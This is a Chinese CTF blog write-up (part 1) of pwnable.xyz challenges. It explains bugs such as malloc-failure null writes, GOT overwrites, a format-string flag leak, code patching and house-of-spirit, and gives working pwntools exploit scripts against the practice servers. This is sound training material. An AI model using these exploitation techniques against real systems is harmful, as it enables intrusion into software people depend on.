pwnable.xyz题目记录 part1

悟已往之不谏,知来者之可追。实迷途其未远,觉今是而昨非。

welcome
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
__int64 v4; // rdx
char *v5; // rbp
__int64 v6; // rdx
size_t v7; // rdx
size_t size; // [rsp+0h] [rbp-28h]
unsigned __int64 v10; // [rsp+8h] [rbp-20h]

v10 = __readfsqword(0x28u);
sub_B4E();
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ", v4);
size = 0LL;
_isoc99_scanf("%lu", &size);
v5 = (char *)malloc(size);
_printf_chk(1LL, "Enter your message: ", v6);
read(0, v5, size);
v7 = size;
v5[size - 1] = 0;
write(1, v5, v7);
if ( !*v3 )
system("cat /flag");
return 0LL;
}

背景知识:malloc在分配一个过大堆块时会分配失败而返回null
该程序提供了任意大小分配堆块的功能,如果向size写入一个过大值,则malloc失败,此时v5的值为null,v5[size-1] 的值被赋0,即size-1处地址的值被赋0。因此将size设置为v3_addr+1,即可在v3处写入0值。

sub
add

栈上任意地址写,返回地址覆写掉就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

debug = 0
if debug:
io = process('./challenge')
context.log_level = 'debug'
else:
io = remote("svc.pwnable.xyz", 30002)

io.recvuntil("Input:")

payload = "0 4196386 13"
io.sendline(payload)

io.recvuntil("Input:")
io.sendline('a')

io.interactive()
misalignment

加了索引限制不能直接写返回地址,按题目要求覆写目标值
由于v5是按qword对齐的64位数组,只能以8的倍数地址访问。因此需要两次写入目标地址。
按照小端序,0xB000000B5分别由0xb5000000000000000x0b000000写入
注意前者为负数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
io = process('./challenge')
context.log_level = 'debug'
gdb.attach(io)
else:
io = remote("svc.pwnable.xyz", 30003)

payload1 = "0 -5404319552844595200 -6"
io.sendline(payload1)
payload2 = "0 184549376 -5"
io.sendline(payload2)
io.sendline('a')

io.interactive()

我有什么用调试器的必要吗(心虚

GrownUp

src处读入0x80字节,注意strcpy会在字符串末尾加零,因此实际传入为0x81字节。
定位到usr处:

注意到usrqword_601160的偏移为0x80,而实际传入为0x81字节,因此可覆写qword_601160的低位为\x00,而0x601160的位置即是格式化字符串参数的位置,末尾覆写成0即为0x601100,这个位置是可控输入,由此控制格式化字符串的参数。
在栈上传入flag的地址,用%p填充算出flag的偏移,将对应偏移的%p换成%s即可泄露出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'

debug = 0
if debug:
io = process('./GrownUpRedist')
gdb.attach(io, "b *0x400922\nc\nb *0x40094e\n")
else:
io = remote("svc.pwnable.xyz", 30004)

flag_addr = 0x601080
fmtstr_addr = 0x601160
usr_addr = 0x6010E0
target_addr = 0x601100

payload1 = b"y"*8 + p64(flag_addr)
io.sendafter("Are you 18 years or older? [y/N]: ", payload1)

io.recvuntil("Name: ")
payload2 = b'a'*32 + b"%p"*8 + b"%s"
payload2 = payload2.ljust(0x80, b"b")
io.send(payload2)

io.interactive()
note

bss段溢出,可覆写malloc指针,got表覆写成win地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.terminal = ['tmux','splitw','-h']
binary = "./challenge"
ld = '/glibc/2.23/64/lib/ld-2.23.so'
glibc = "/glibc/2.23/64/lib/libc-2.23.so"

debug = 0
if debug:
io = process([ld, binary],env={"LD_PRELOAD": glibc})
context.log_level = 'debug'
gdb.attach(io)
else:
io = remote("svc.pwnable.xyz", 30016)

elf = ELF(binary)

s = lambda string :io.send(string)
sl = lambda string :io.sendline(string)
sla = lambda delim,string :io.sendlineafter(delim,string)
sa = lambda delim,string :io.sendafter(delim,string)
ru = lambda string :io.recvuntil(string)
rl = lambda :io.recvline()
rv = lambda :io.recv()
it = lambda :io.interactive()
cl = lambda :io.close()
myu64 = lambda :u64(ru("\x7f")[-6:].ljust(8,b'\x00'))

win_addr = 0x40093C
atoi_got = elf.got['atoi']

def editnote(size, content):
sla("> ", '1')
sla("Note len? ", str(size))
sa("note: ", content)

def editdesc(content):
sla("> ", '2')
sa("desc: ", content)

editnote(0x28, b'a'*0x20 + p64(atoi_got))
editdesc(p64(win_addr))
sla(">", "")

it()
xor

elf地址空间可读写可执行

call exit指令改成call win执行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
context.log_level = 'debug'

debug = 1
if debug:
io = process('./challenge')
gdb.attach(io, "file ./challenge\n"+"finish\n"*5)
else:
io = remote("svc.pwnable.xyz", 30029)

elf = ELF('./challenge')
result = 0x202200
win_addr = 0xa21
call_exit = 0xac8
offset = (call_exit - result) / 8
elf.asm(call_exit, "call "+ str(win_addr))
shellcode = elf.read(call_exit, 5)
numb = u64(shellcode.ljust(8, b'\x00'))

io.recv()
payload = '1 {} {}'.format(numb, offset)
io.sendline(payload)

io.interactive()
two targets

scanf("%24s", &v6)刚好可覆盖到v7,结合v7的赋值操作,相当于提供了任意地址写的机会,覆写strncmp的got表为win函数的地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'

debug = 0
if debug:
io = process('./challenge')
context.log_level = 'debug'
gdb.attach(io, "file ./challenge\n")
else:
io = remote("svc.pwnable.xyz", 30031)

elf = ELF('./challenge')
win_addr = elf.sym['win']
strncmp_got = elf.got['strncmp']

io.sendlineafter("> ", '2')
payload = b'a'*0x10 + p64(strncmp_got)
io.sendafter("nationality: ", payload)
io.sendlineafter("> ", '3')
io.sendlineafter("age: ", str(win_addr))
io.sendlineafter("> ", '4')

io.interactive()
Free Spirit

house of spirit,利用1和3反复写地址,构造fake chunk将其free后返回到win地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
glibc = '/glibc/2.19/64/lib/libc-2.19.so'
ld = '/glibc/2.19/64/lib/ld-2.19.so'
binary = './challenge'

debug = 1
if debug:
io = process([ld, binary],env={"LD_PRELOAD": glibc})
context.log_level = 'debug'
gdb.attach(io, "file ./challenge\n" + "finish\n"+"b *0x400823\n"+"b *0x40085b\n")
else:
io = remote("svc.pwnable.xyz", 30005)

menu = lambda x: io.sendafter("> ", str(x).ljust(0x30, '\x00'))

def edit(content):
menu(1)
io.send(content)

def copy():
menu(3)

elf = ELF('./challenge')
win_addr = elf.sym['win']
menu(2)
leak_addr = int(io.recv(14), 16)
ret_addr = leak_addr + 0x58
payload1 = b'a'*8 + p64(ret_addr)
edit(payload1)
copy()
payload2 = p64(win_addr) + p64(leak_addr + 0x20)
edit(payload2)
copy()
io.sendlineafter('> ',b'0'.ljust(0x10,b'\x00')+p64(0x31))

io.interactive()
2019-2021 Nishikinor undefined